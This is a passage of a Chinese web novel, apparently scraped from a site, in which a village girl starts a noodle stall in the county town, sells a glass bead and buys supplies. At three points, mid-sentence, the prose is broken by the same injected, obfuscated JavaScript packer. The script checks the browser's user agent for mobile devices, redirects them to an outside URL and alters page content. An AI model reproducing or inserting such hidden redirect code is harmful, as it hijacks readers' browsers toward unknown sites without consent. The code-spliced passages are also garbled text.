徐氏有了底，见家小挑过砵里的面片也还剩了不少，顿觉心中又舒坦了不少，脸上挂起笑，只向瑛娘道：“明日何时去城头？” 即是做热食生意，自然越早越好。 但，从大王村去最近的县城至少得行二十里路，便是常走此道的壮男快步也需得一个时辰。 徐氏不觉得瑛娘和瑾娘两个小娘子能挑着炉、瓮一路走过去，问话时便盘算起该叫哪个儿子随他们走这一道，顺便还能将那珠子带去典了。 瑛娘自然吃不得这苦，见三房陈氏好奇表象，二房林氏与四房何氏却埋着脸充耳不闻，便遂了她们的心意，点了三房的叔叔帮忙。 “明日卯正出发，只我与四姐挑不动担子，还得劳累三叔了。” 徐氏满意的点了头，又朝陈氏道：“你明个儿也早些起来，带上近来攒的蛋去城头换盐，若瑛娘那摊子忙不过来，你也好搭把手。” 陈氏倒没觉得一个面摊子能有甚忙不过来的，只是没料到还有这等好事能落在自个儿身上，当即双目灼灼望向徐氏，直挑了面片往徐氏碗头送。 “娘放心！我指定不让瑛娘累着！” 陈氏喜不自胜，却是不知无论瑛娘还是徐氏，选三房之因不过是这两口子都不是那等会藏事儿的性子。 二房汪点德、三房汪点书是双子，然自小性格迥异，一个油嘴得很，一个又老实得呆，徐氏是不想讨个小小营生还两房合起来瞒着公中留私房的，所以瑛娘所选正和徐氏的心意。 而瑛娘所思却极简单，不过是想借三房之口告诉徐氏——孙女也能挣钱，何必拿去填那没甚出息的孙子。 “行了，明个儿人多，便放开了手干。要卖面就把好火候，要卖汤也别抠搜着舍不得给别人添。但独一点需得注意，咱们家瑾娘可是说了亲的，瑛娘也差不多到了岁数，老三家的，你多注意些，别让城头的泼皮扒拉你两个侄女儿，这营生能挣多少算多少，万万不能贪那几个钱倒了老汪家的门楣！听着没？” “娘，我晓得了，一定不让侄女儿们吃亏。” 且不论那埋着脑袋的林氏与何氏究竟作何感受，此番定论也算是几房欢喜了。 此事一定，瑛娘再如何支使瑾娘糟蹋好物，徐氏俱是不管了，放下碗筷擦了嘴便闲步至村口晒谷场摆闲，替小老三打听别家闺女。 徐氏一走，堂屋里便无需再留人，林氏抱起吃得肚饱浑圆的小老九，领了大肚的儿媳便回了二房，何氏也朝两个嫂嫂涩然一笑，端着手便回了自个儿屋。 陈氏心头高兴，倒也不急着走了，帮着拾掇碗筷也乐得笑容满面，直跟瑛娘搭话，道：“瑛娘咋想到要去城头支摊子卖面的？这营生能挣回来钱么？可别败了粮食平白惹了你奶生气，到时你二叔三叔可少不了你一顿呲……” 瑛娘懒得听她胡道，扯过瑾娘快步躲进灶间，探得瓮中汤水只留余温，便以筷穿过鸡胸将鸡整个儿取出沥水，待汤水不再下滴，才叮嘱瑾娘将手洗净了来撕鸡。 “撕鸡？” “这鸡肉厚实的位置先整块取下来，顺着纹理撕成一小簇宽，再斩至半指长，余下不好撕的……就随意切吧。” 瑛娘怕难理解，先取了一块鸡胸打样，等瑾娘看过点头，她才将这活儿全交了她。 安排完手撕鸡肉，瑛娘又埋头去找鸡内腑，“姐，当头那内腑你都放哪儿了？” “我怕放在灶间生味儿，就放去了檐廊下。” 索性鸡内腑需得多洗几道才能干净，院中打水清洗也方便，瑛娘便取了两只碗，各装了两把麦粉、一把盐，大步走至檐廊端了木盆挑出鸡油，将剩下的鸡内腑端到井边开始搓盐、搓面。 洗净的鸡内腑切碎与酸菜混炒也是一道好菜，不过今日还有血豆腐可吃，瑛娘便不强求这点子荤腥，只洗了备好，打算让瑾娘一并炒了待明日作浇头。 灶间只她姐妹二人，炒好的鸡内腑闻着便令人口齿生津，瑛娘用手捻了一块塞到瑾娘嘴里，在她赫然的目光下也笑着塞了自己满嘴。 “四姐别忧心爹娘和妹妹了，只要这营生做下去，将来自是少不了荤腥入口的。” 瑾娘倒没多期盼，只点了点头，便问撕好的鸡肉又该如何处理。 “炼了鸡油，鸡肉丝用小火翻炒，至色微黄便能出锅。这鸡骨架也不必 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14829075|158875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 丢，另起一瓮汤，加少许盐，明日捞面全靠这鸡骨汤增味儿。” 瑾娘还当那浓鸡汤才是用来捞面的，闻言一顿，才道：“那鸡汤……鸡肉汤又作何用？” “肉汤是捞了面入碗后再舀到碗头淋面的。这面食最是吸油，食客不能一个时段同时来吃，面自然也得分开来煮，若汤底连油气都没了，又如何保够鲜味吸引食客？” 瑾娘从未想过这个问题，听罢便有些脸热，“原是如此，瑛娘去了天宫倒是懂得更多了。” “……四姐忙着吧，我回屋眯觉去了。” 入秋之后，人总是倦的。 瑛娘回了偏间儿一躺，转瞬就睡了过去。 灶间，瑾娘闻着鸡汤浓香却只觉精神百倍，依言将鸡骨敲碎另起一瓮开始熬煮。 待这瓮汤熬好，汪木匠和四个儿子、四个孙子也踩着暮色归了家。 这一日在城墙根儿头打转，一家子只四个大小伙子捡了个扛包的活计，钱不多，又扣了一人一文的入城税，到手拢共五十六个钱，倒是折腾得一家子老小精疲力竭，肚里空饷。 徐氏一看汪木匠脸色便知这日挣得不够看，默默按了按胸口，感觉硌手才叹了口气，扭头支使云氏去打蛋汤，“先喝汤垫两口，今晚吃点子干的。” 为了省粮，大王村的农户并不只吃自家种的大米和麦粉，多会去城头买那一文两斤的番薯。 这番薯亩产高，不值价，混着大米一锅蒸来却能管饱，老汪家的粮缸里头也储了不少番薯，徐氏一说要吃干的，今日掌勺的云氏便取了足足八个掌长的大番薯、约摸五斤大米放在灶上准备淘洗了一起煮。 饿了一天，汪木匠也不想将就喝稀的，只让她多下些米，便趿着鞋往屋里去。 今日麦也给了，鸡也杀了，便是云氏多加了一海碗米，徐氏也懒得计较了，追着汪木匠便也回了屋去。 门一关，汪木匠便将今日挣回来的钱一齐交给了徐氏，五十六枚铜板用草绳一串，入手一小把，攥着也不见得多得劲儿。 “换亲的事儿可与老大家的说好了？” “当家的，换亲的事儿先缓缓。”徐氏将钱往怀里一揣，顺势掏出了那枚珠子，还怕汪木匠看不见似的往他眼前现了现，“咱瑛娘眼下也是出息了，你看看这珠子，可值当四五百个钱？” 这琉璃珠烧得够透，微光之下也能溢彩，汪木匠只瞄了下便经不住瞪大了眼，一把夺过，就差凑到鼻头上对眼儿细看。 徐氏也是一惊，生怕他一个没注意把这珠子摔了，连忙牵了衣摆往他手下兜着。 汪木匠比徐氏有见识，知道原先那城头传过一阵贵价儿的“水晶”，后来被天家全买了去，平头百姓再想掌眼，便得去那珍宝楼里头花金子看去。 徐氏拿来的这珠子透亮，却比“水晶”还炫目，可惜就是体量太小，想卖个高价也没得那冤大头上当。 “……这珠子打哪儿来的？” “可不就是咱瑛娘拿来的！说是梦到了天宫，在天上捡的！” 5. 丰县 汪木匠却是比谁都更信瑛娘的“天宫”说。 正如徐氏此前推测，家里头这些孙女从没出过大王村的地界儿，便是云氏回娘家，也只让汪点柱一路护着她回去，连最小的玥娘也是从来不带的。 瑛娘年幼，见不着外男，单就凭她自个儿，是决计没别的路子能取来这珠子的。 徐氏见汪木匠有些愣，倒是有了心情笑他一笑，“你可别不信，瑛娘见天儿在咱眼皮子底下混饭吃，你还能不知道她？” 信了“天宫”之存在，汪便不好坚持要瑛娘换亲。 汪木匠回了神，不甚高兴地睨了徐氏一眼。 徐氏大笑，指着汪木匠手头捏着的珠子，虚点了点，催他道：“赶紧仔细瞅瞅，这东西到底值不值价？明个儿老三得去城头，若是值当，也好先敲打他几句，省得被他媳妇儿哄着偷摸藏了。” 看徐氏目光灼灼，汪木匠心头也激动了几分，按着自己的见识给这珠子估了个价：“城头的富户不缺银钱，若这珠子能送到那些个手头宽裕的娘子闺秀跟前儿，便是一两银也能换来。” 这珠子体量不大，留存观赏却有些不方便，但城头的娘子喜好簪、钗，这珠子正好能嵌个簪头，得了便是独一份儿的光彩。 只是这珠子交由老三去典换银钱怕是不太妥，依着汪木匠的意思，这珠子最好由着小老三去城头敲了富户的门销一销才好。 如此想着，汪木匠便跟徐氏商量了起来，“老三说不来话，不如让辰子跟他爹一起去。” 徐氏有些迟疑。 小老三的确更肖他二叔，生得张惯会巧言的嘴，确是比他爹更适合去敲门典换。 可她先头已经点了老三家的同去，若把小老三也捎上，二房、三房那两个媳妇儿该是要说闲话了。 “不然把老三家的换下来？让老二家的去看着瑛娘和瑾娘支摊子？” “……”汪木匠这才反应过来被珠子影响而忽略的重点，瞬时凝起了眉，“瑛娘和瑾娘又是怎么回事？” “还不是咱们的好瑛娘，说是要去城头支摊子卖面条，还杀了鸡炖汤，明个儿要一起卖给城里人去，左右二十斤麦，只要能卖出去就亏不着，我也就允了。” 深知老妻的脾性，汪木匠解了语义便看穿了徐氏的“善”因何而来。 想来确是如此，这珠子不管是不是从天上来那都是瑛娘交到公中的，二十斤麦不过六十个钱，比之价值不过一粟。 “罢了。你既已交代了老三家的，也别费那功夫去换人了。明个儿我跟他们一起去城头，自然没得敢悄悄留钱的。” 汪木匠说定，此事便不可再改。 但银钱还没到手，这事儿也不好宣之于众，临了饭时，汪木匠便只提了明日再进城的人头。 “瑾娘和瑛娘要去城头支摊子，老三辛苦些，明个儿帮着挑担，老三家的典换了蛋也去摊子帮忙拾掇。眼下农闲，城头的零散活计不缺人，老大、老二、老四，你们就在家歇上一歇，待我去看过这摊子到底做不做得，你们再与老三轮换着帮忙。” “知道了，爹。” “嗯。阿文阿武也不急着再去城头，你们还得长，不好做多了那扛包的活儿，别把骨头伤了。会子，你媳妇儿眼看着就要生，得了空闲你也去你媳妇儿娘家一趟，别让她爹娘忧心。至于辰子……你也在相看了，却是不好闲在家里头，明个儿我带你去城头转转，若是能碰上我以前熟识的匠人，也好找他们问问能不能让你去帮几日工。” “听阿爷的。” 理顺了汪木匠的话，这一家子的男丁自是没得意见，但林氏、何氏脸色多少有些生冷，眼神相撞，便知对方心头不满三房一门子全进城的安排。 不过汪木匠当家，便是徐氏也不好反驳他的安排，她们两个媳妇儿也只得咽下不爽，低眉顺眼的听从了。 这一顿薯饭吃得老汪家难得一夜饱眠。 然，卯正未至，瑛娘就被瑾娘推醒，迷愣愣地穿好了衣服，胡乱梳了两个髻便出了门。 因着进城的人多，除了一应炉子、瓮、碗，汪木匠又带了一张小桌，陈氏也将鸡蛋篮子让给小老三汪辰拎着，自个儿背了两张长凳，手头还又拎了细布包好的面团，倒是只剩下瑾娘、瑛娘空手。 瑾娘可不敢干看着长辈辛苦，临了出门，干脆听了瑛娘的建议，又从菜地拔了些菜叶子洗净带上，若有人愿花一文钱来吃，也好就着鸡汤烫一烫铺在面上。 一时来，竟只有瑛娘一人空手上路了。 即便如此，瑛娘还是吃了“汪瑛”身子虚的亏，一路都如行尸走肉般提不上气来，只坚持了半个时辰便彻底吃不消了，只能抬手压着眼角掩面假哭了几声。 “阿爷，实在走不动了。” “……也不知你平日吃的都长哪儿去了。” 汪木匠这才开了尊口，让汪辰背上瑛娘继续走。 作为三房独苗，汪辰打小儿就是娇惯的，将篮子转交给瑾娘看顾，背着瑛娘走了几步便开始抱怨瑛娘体重。 “……” 怕不是一副骨架子他都会嫌重。 瑛娘不理，汪木匠和三房两口子也闷头赶路，汪辰没讨着心疼，只得咬了咬牙坚持。 好在没了瑛娘拖后腿，余下半个时辰的路走起来也快了不少。 这是天刚大亮，城门口只排了零星几个挑了箩筐的农户，不消一会儿，便轮到了他们应检入城。 交了一人一文的入城税，还需守城卒检查他们带来的东西。 桌凳一眼可见，应检的便只有箩里的瓮。 因着天气不算太凉，炖好的两瓮鸡汤都在井里吊着镇了一夜，待守城卒掀了木盖，入目便是瓮里厚厚一层汤油。 守城卒鼻子尖儿，便是这冷汤冷水的也闻出了鸡味儿，忍不住当众咽了下口水，才将木盖归置，笑着聊起了闲：“你们这是打算去城头卖汤呐？” 这会儿瑛娘已是自己走来应检了，见着守城卒护甲之下的衣物不见补丁，便也笑着拿了陈氏手头拎着的篮子来与他看，“我家是支面摊子的，那鸡汤是捞面的汤底，瞧着军爷似也守了许久了，不如一会儿我家摊子支好了，让我哥哥与军 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14829076|158875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 爷送一份来垫垫肚子？” 老汪家一众惊于瑛娘主动销面的举动，这守城卒却觉得这娘子活泼，心生几分喜，笑问她一份作何价。 “便看军爷口味如何了。若是喜欢素净，这鸡汤捞了面就能吃，如此一份只要三文。若军爷想吃个鲜儿，这面里头还能加一份鸡肉，鸡肉是炒熟的，渍了油喷香，一份需得五文。倒是军爷若想吃个新鲜，我这儿还有些酸菜酿过的浇头，寻常吃不着，三夹只要一文。” 三五文的面在城头算不得稀奇，守城卒家中还算宽裕，偶尔也去饭馆点些小菜，听着瑛娘说的“新鲜”便来了兴趣，“那一会儿给我送一份来，要汤要鸡，再给我来三夹你说的酸菜浇头。六文，对吧？” 说罢，便掏了六枚铜钱摊手让瑛娘自取。 “对！” 瑛娘脸上挂着笑，却只捡了五枚便收手，“军爷，那浇头也不知您吃不吃得惯，您又是我家头一个食客，浇头便算送您的了！” 一文不嫌少。 “之前没见过你们，想来你家这摊子支的日子也不长。”守城卒自是愿意承这情，揣回钱便指了指城门西边儿，道：“今个儿便去东市的档口支去吧，那处闲人多，每日三晌都热闹得很。” 一文钱换得守城卒的友情提示，别说三房一家子，便是自诩见过世面的汪木匠也叹服了。 且这摊子还未支上，生意已然做成一笔，当是开了个好彩头了。 瑛娘谢过守城卒，扒拉了汪辰上前让他认了脸，这才走在前头，领着老汪家几人一路奔着东市档口去。 大王村临近这城名作丰县，隶属和岁长公主禄地骏阳府城，因地势优越，盛产稻、麦，便是在府城内也占得一线名头。 不过再是繁华的县城也比不得府城地阔，整个丰县只分三片儿，一是城中居民聚集的城北，一是富豪乡绅常驻的西市，再就是十里八乡工农商户都能置办典换的东市。 东市虽不比西市“尊贵”，街栏所销之物却是一应齐全，更有市头档口、市尾农集为行走百姓提供便利。 守城卒指点瑛娘到档口摆摊实属心善，老汪家一行人入了档口，将将支开摊子摆上桌凳，便有几个身着绢料华衣的闲客围了上来。 汪木匠再有见识也未见过如此场面，更别提三房一家与早已埋着脑袋不敢直视来往行人的瑾娘。 瑛娘亏得七世轮转，早见惯了人多的场面，当即拍开手脚不利的汪辰，支使汪点书将炉子点上座上瓮烧汤，才上前招呼这几个闲客往方便看瓮里情况的位置站了站。 炉火燃起，瓮壁渐热，瓮里头的鸡骨汤很快便溢出了香气。 这几个闲客闻了味儿便乐得继续看热闹，自顾自抻着脖子往瓮里看。 “小娘子，我瞅着那汤里全是骨头呀？” “倒是不知你们这摊子是做什么吃食的，快叫你爹娘赶紧弄上，好叫我们尝尝鲜啊！” 瑛娘不欲解释自己与三房的关系，手脚麻利的将面、鸡丝、酸菜浇头一并摆上了桌，拉了瑾娘扯面下瓮，才笑着与闲客介绍这面条作何价。 6. 市价 在这城头，三五文钱的能做个甚？ 闲客惯会吃那新鲜物，眼下闻着浓郁的鸡汤味儿，又亲眼见证那浑圆的面团被扯成一根根粗细均匀的长面，当即走不动道，放话要吃那第一碗鲜汤捞面。 瑛娘却诚实拒绝，道：“叫几位客人失望了，这头一碗已经有人付了定钱了。” 鲜面过水便能熟，瑾娘紧盯着瓮里面条的火候，只见一透便赶紧捞进了碗。 而瑛娘正站在另一瓮前，接过面碗，先夹了鸡丝铺在面儿上，又拿了汤勺舀了满满一碗浓稠鸡汤浇在上头，顿时催香入鼻，惹得围观的闲客和三房一家子都不禁口齿生津。 甚至闲客之一丝毫禁不住诱，也不嫌丢脸，直愣愣盯着面碗，还抬手擦了擦嘴角，“真香啊……” 瑛娘只笑了笑，将面碗塞给汪辰捧着，转身又取了一只净碗夹了三筷子鸡内腑，一并交给汪辰，催他赶紧送与守城卒去。 涉及士卒，汪辰也顾不得为两个妹妹的手艺惊叹了，一手端着一只碗，两腿一抡儿便往城门疾步而去。 他人一走，闻着汤味儿的闲客便一窝蜂围了上来，直叫瑾娘赶紧给自个儿也来上一碗。 “我要素的！多舀些汤！” “我倒愿尝尝你家这鸡肉，瞧着金黄便觉得香！” “那是油炒的吧？给我也来一份肉的！” “那菜叶子我瞅着新鲜，给我烫一份！” “那浇头我瞅着不像只有酸菜？给我来一文钱的尝尝味儿，要好吃下回我还多加浇头！” 除了一应用具，带来售卖的东西瑛娘都不想再往回带。 只是鸡内腑这东西寻常人家皆是不吃的，不然送与守城卒那份也不至于另置一碗分装。 这话不得明说，瑛娘便笑答闲客，道：“客人慧眼，这酸菜酿的浇头多少也算个荤腥，不过有人却觉得好吃，有人却觉难以入口，我家便只定了这一文三夹的价。” 闲客觉得她实诚，如此倒是心喜非常，“便是地龙做得香我也能吃两口，赶紧捞面吧！好让我尝尝这到底是个啥好味！” 如此热闹之际，瑾娘也顾不得羞怯了，连忙扯了四五份面条齐齐下锅，瑛娘又左右招呼、接碗浇汤，两姊妹便在这一方小摊前忙活了起来。 三房陈氏看着热闹直咋舌，推了一把楞头呆脑的汪点书，便搁好鸡蛋篮子上前帮着瑛娘招呼闲客。 待这打头的闲客吃上热面，另头送面的汪辰也拿了只空碗回了档口，“七妹，那军爷说晚些时候下了值再把另只碗送回。” “行。” 汪辰歇了口气，见自个儿亲娘和两个妹妹忙活得不可开交，忍不住“啧啧”两声，扭头与汪木匠和汪点书道：“阿爷，爹，我瞅着咱摊子这架势，怕是城头原先那些个面摊子都是比不上的啊！” 汪木匠早在第一波闲客端上面开吃时便稳了心态，知这摊子一时半会儿冷清不下来，便点了汪辰与他一道走。 “老三，我带辰子去逛逛，你就留着帮个下手。” “知道了，爹。” 汪辰也记挂着找个正经活计好相看，顿时不好去看那闲客呼噜面条了。 爷孙一走，汪点书也上前帮着拾掇起闲客吃完的碗筷。 只汪木匠带来的小桌摆了菜篮子、生面团、酸菜浇头和家里头要典换的鸡蛋，闲客倒不好上桌了，因此有些怨言。 “明个儿你们再支摊子可得多摆两张桌，我们这儿空坐着端碗吃，叫亲朋好友的瞧见该嫌我们不讲究了。” 汪点书听罢有些为难，嗫嚅半晌没好意思说搬这桌凳进城如何不方便。 见状，瑛娘让陈氏上了手打汤浇头，过来把汪点书收好的碗筷放进盆中以备清洗，这才赶了他去给瑾娘和陈氏打下手，自己与闲客解释道：“我们家是头回做这面摊子，早间出门急，倒是忽略了这点，明个儿一定多置几张桌子方便客人。” 面条滋味好，闲客自然不与她为难，闻言点了点头，掏了铜板结过账便走了。 瑛娘索性不再搭手，悠哉哉在旁看了片刻，见那头陈氏和汪点书也做顺了手，便打算也去东市里头逛一逛。 “姐姐，三叔，三婶，我去看看哪家能有多的桌凳能借，碗若来不及洗便先放着，等带回家再一并洗。” 三人却是忙得没空与她多话，瑛娘偷着乐了乐，便转身往东市去了。 县城富户扎堆，东市这等“平民”之地却也不见冷清。 银楼、布行、茶馆、杂货、糕点、药铺、书肆、粮铺一应俱全，市尾近农集处还有中人屋舍、牛驴集市、铁匠铺子，一路逛来便是什么都能买到手。 汪木匠想高价典换了那琉璃珠，东市不太合时宜，索性假意逛了逛，便带着汪辰绕路去了富户扎堆的坊市寻求机会。 瑛娘一路走来也没碰着他二人，倒也乐得自在，一通逛下来，也算对当下民生市情有了浅薄了解。 丰县多是肥田沃土，城头粮价自然算不得高。 长粒饱满的大米只六百文就能买上一石，折合零散约摸只需五文一斤，带壳的麦一斤三文，磨了粉再售也只值价五文，番薯一文两斤，菽一文一斤，脱粒得来的麸更是贱价至一文五斤。 再看其他吃食，蛋一文一双，鸡五十文一只，鹅值当八十，猪肉肥瘦不论皆是十文一斤，猪板油最贵，一斤得二十，如此算来，一壶一百一十文的油、一小罐七十文的盐和八十文一斤的粗糖倒成了最是贵价儿的东西。 问过这些，瑛娘还打听了点心。 却知便是那糕点铺子里，点心一笼最差也卖到了八十！ 除开这些糊嘴的，布料、笔墨价更高了。 书肆里头，一支普通的竹笔便卖到了一百文，再问一刀粗制的纸，需三百，一条普通的墨，需五百。 那杂役见瑛娘是个女子，没得那好脸色与她多道，再贵的却是不允她打听了。 不过书肆里头摆在面儿上的书册都是手抄本，墙面倒是挂了些不甚出彩的画作，凭英娘所见，这些画上的颜料都是最次的手制品，以她曾接触学习过的手工技艺完全能做得出来。 而布行里头，最为普通的麻布一匹一百九十文，棉布二百八十文。绢则分两类，一是棉绢，一匹只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14829077|158875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要需三百六十文，另则丝绢，一匹七百六十文，直追一斤八百文的铁价，不过寻常人也不会买那上等的丝绢来穿，一匹布少说能裁成两身衣裳，所以只算普通布料，倒也不算贵了。 除了成匹出售的布，布行还有不少裁卖余下的布块。 这些布匹、布块皆以素白为主，少见鲜艳，唯独红染布在其中显眼。 “汪瑛”过往见过新娘着红衣，只这红衣穿一次便不好再穿几回，全因那染料入水便褪得厉害，多洗几次便失了色彩。 瑛娘琢磨着大概是那手艺好些的染匠也懒得染布与东市的布行来卖，试着问了问价，知其棉块一文四方，绢块一文两方，便退出了店门，只道稍后再来。 离了布行，瑛娘便不再闲逛，直奔了杂货铺子去，寻摸着问到针线一套一百文。 只那针线篓子里线圈色彩不多，只能绣些普通的花样或用以日常缝补。 倒是这杂货店里头让她瞧见了那压制得扎实的豆腐，以及现杀代售的羊肉和兔子，可惜问过，一只野兔要价三十文，一斤羊肉也需七十。 眼下面摊子的生意可说服不了汪木匠和徐氏买这些个东西来给一家子贴补，瑛娘也只能望洋兴叹，遗憾摇头。 杂货铺的掌柜是个四十来岁的中年男子，或是家中有女受其爱宠，看瑛娘这幅表情便也觉着喜人，招呼着与她道：“甭看这针线篓子贵价，寻常用用，十来年缝补是够的。且那里头还有红绿丝线，绣绣手帕、囊袋也是顶好的。” 瑛娘问针线本就是打着再谋个营生做的主意，只是手头无钱，这话先不好与掌柜讲，便作羞涩笑了笑，磋磨耳廓，借着衣袖遮掩取了一枚琉璃珠，示于掌柜，“掌柜，我这个珠子可以放在您这儿代为售出吗？” 掌柜比汪木匠见识更阔，却也难免为这珠子的光彩和做工惊讶，惊怔之后便厚着脸皮与瑛娘商量，道：“可否与我掌看掌看？” 瑛娘将珠子置于掌柜手中，任他举至眼前验光，又好一通搓摸。 掌柜见过比这珠子透亮的“水晶”，只是水晶色彩不比这珠子炫目，可惜体量不大，难以用作观赏。 掌柜琢磨了片刻，也是估了估这珠子自己转手能卖得多少银钱，便试探瑛娘，道：“这珠子太小，你可还有其他的？” 瑛娘摇头，“只这一颗了。” 仓里这珠子本也剩得不多，她有别的打算，自然得留些以防意外，再者，好东西现世多了也会掉价，她又何苦贪这一时便宜，自断退路呢？ 掌柜不知瑛娘所想，见她表情真诚便也信了。 不过听她语气，倒像是别的地儿还能找着这类同的东西，便按捺所想，报了个不高不低的心理价，“店里头是能帮小娘子代售，只是这珠子体量小，铺子里乱起来也不好收拾，不如就八百个钱卖与我，我自作他用。” “……” 没成想么？ 能卖出个稍高的价格，瑛娘自然满意，毕竟这珠子当初只花了极小的代价便制了一大匣，若是换作现在，那同等价格怕是连一个馒头也买不来。 “那便卖与掌柜吧。” 7. 买卖 八百文将将入手，瑛娘就拨了一些出来置备它物。 “劳烦掌柜帮我拿一篓子针线。另外，掌柜可知哪处能买来石膏与白矾？” 瑛娘原也未抱希望，只是随口问一问掌柜，不曾想这杂货铺子当真是一应俱全，无论作何用的小物、大件，掌柜都有门路弄来。 掌柜有些自得，捋了捋未有寸长的胡须，笑问：“只是不知小娘子买那石膏作何用？若是家中修补砖房瓦屋，需得报个方寸才好定量。白矾嘛，一般只衙门里头才有存备，你若真想要，我也只能托熟人少少弄些来。” 这般背景之下，无论瑛娘还是“汪瑛”都未接触过石膏与白矾。 瑛娘倒是因机缘了解过其广泛用途，眼下听得掌柜一说，却才明白此二物在如今并未推广开来，尤其那白矾，恐怕也只有水域急需净化时官府才会拨来使用。 不过这掌柜，亦或他背后的东家，既能在县城里头开上杂货铺子，有点子人脉也是当然的。 瑛娘羞怯一笑，似未察觉掌柜语义之中的试探，柔声解释道：“要不了那许多。只是偶然见识过石膏的细腻，家中壁上多是裂纹，我便想，用这石膏填补一下应是不错。而那白矾……村口的池塘时常被搅得一池污，洗衣都不便利，我亦是听村正言道曾用过白矾净水，便试着问问掌柜……此二物，该是一样一斤便足够了吧？” 一斤石膏和白矾的确算不得多。 杂货铺子里常有卖剩做样的货，瑛娘这一问确是赶了巧儿，掌柜只听不多，便从避阴的柜台里翻找出了两个壁厚半指的罐子，“石膏一斤一百文，明矾一斤两百文，这罐子不值几个钱，便送你了。” 不论这罐子究竟作价几何，这一通买卖瑛娘如何也算得铺子的大主顾了。 不过瑛娘还是感恩非常地道了谢，一手抱起一个罐子，又嘀咕这般实在不太好拿，作窘态道：“掌柜再予我一个背篓吧，不需多大，能装这两个罐子就成，我也好空出手来拿针线篓子……” 看在琉璃珠的份儿上，掌柜也不至于舍不下那几文钱就能卖的藤编背篓，当即取了一个一尺高的，顺手又拿过瑛娘抱着的罐子帮她放好，“这便行了吧？” 瑛娘又是一声谢，这才拎着针线篓子背上背篓离了铺子。 出了铺子，瑛娘又转道去布行买了二十条丝绢布块、四十条棉绢布块。 等她上山寻摸了染色的植株，这些布块便可让娘与三个婶娘和大嫂闲时绣了，不拘小花小草，有个花样儿就能卖个好价。 但家里头那些个婶娘都是见不得钱的，整家儿的银钱也得充入公中，瑛娘可不想劳心劳力的还吃家里男丁剩下的汤水，便打定主意要与汪木匠和徐氏说清厉害，才肯拿出来新的营生供他们挣钱。 如此想着，瑛娘也就寻了个隐蔽处，将今日所买之物与剩下的三百八十枚铜钱一并藏进了仓库里头。 作罢，又慢悠悠走向市尾一茶铺。 这茶铺老板是对两鬓霜白的老夫妻，瑛娘来时他们也才将将支开摊子，只是茶客午时少有只饮茶汤的，这一时半会儿便也没人光顾。 瑛娘也是瞅准了他家摊子摆的桌凳够多，在外踟蹰半晌，才面颊微红地凑了过去与那婆婆招呼，“婆婆，您家茶摊子每日都是这个时辰才支开吗？” 老妇人见瑛娘面嫩，倒也和善，点点头，道：“我家这茶摊虽是卖茶的，却也给来不及回家头吃饭的农户提供便利，一文钱就能打碗热汤就饼，故而午时三刻才支摊。闺女来逛农集？该是要与我打听东西？” 瑛娘摇摇头，细声道：“我家在东市档口支摊子，但家远，不便带多的桌凳，便想与婆婆家商量下租借，辰时借，午时还，一日租子五个钱……” “……” 老妇人有些迟疑。 都是做营生的，她自然也怕自家茶摊的生意被耽误。 瑛娘瞧出她的顾虑，连忙保证道：“我家只在晨间营生，午后便得赶路回家，必定耽搁不了您家支摊儿的时辰。” 既不耽搁正经营生，每日能多挣那几文也是好的。 老妇人心头意动，朝自家老头子看去，见他也点头，便才笑着与瑛娘应下了。 “只我这儿没得人手，还需你家大人自个儿来搬桌凳。” “这是自然，婆婆家就在城头吧？” “是，你便叫你家大人每日提前两刻来这儿，我和老头子自会看着时辰来与他们开门。” “多谢婆婆，每日还桌凳时结租子，您看可否？” “妥。” 此事说定，一日事毕。 一路逛回去，日头已近未时正。 朝食只吃了些干巴饼子的瑛娘已然饿得有些头晕，本想回摊子上磨一磨瑾娘，让她捞碗面来吃，却不想那支好的摊子已然全部收拾了起来，只瑾娘与汪点书坐在家头带来的凳上歇气。 见瑛娘过来，瑾娘却也松了一口气，顾不得这一辰热闹营生带来的兴奋与茫然，起身便迎了上来，似嗔非怨地捶了瑛娘胳膊一拳，“也不知去哪儿闲耍了，好叫人担心！” 瑛娘见箩筐里两瓮都未加盖，碗筷也都洗净了，便知今日揉好的面团全卖空了，笑着假意躲闪，问道：“三婶去农集了？你们可都吃过午食了？” 瑾娘也没想将瑛娘打痛，随即收手，点头又摇头，道：“三婶该是快回来了。早间出门，奶没给我们备午食……等阿爷和三哥回来再定吧。” 平日家中男丁进城找活，都是由徐氏取了粮让当日掌厨的媳妇儿给做饼子带上，今日出摊，徐氏估计没料想这面团能卖完，自然也没提前准备老小几口的午食。 瑛娘了解徐氏心态，心情不爽地撇了下嘴，拉着瑾娘避开汪点书，取了糖与她分吃。 瑾娘接过糖很是惊讶，待糖块入口，那细腻绵长的甜香更是镇得她不禁瞠目，半晌才回神来拉着瑛娘问糖的来处，“你偷摸藏钱了？” 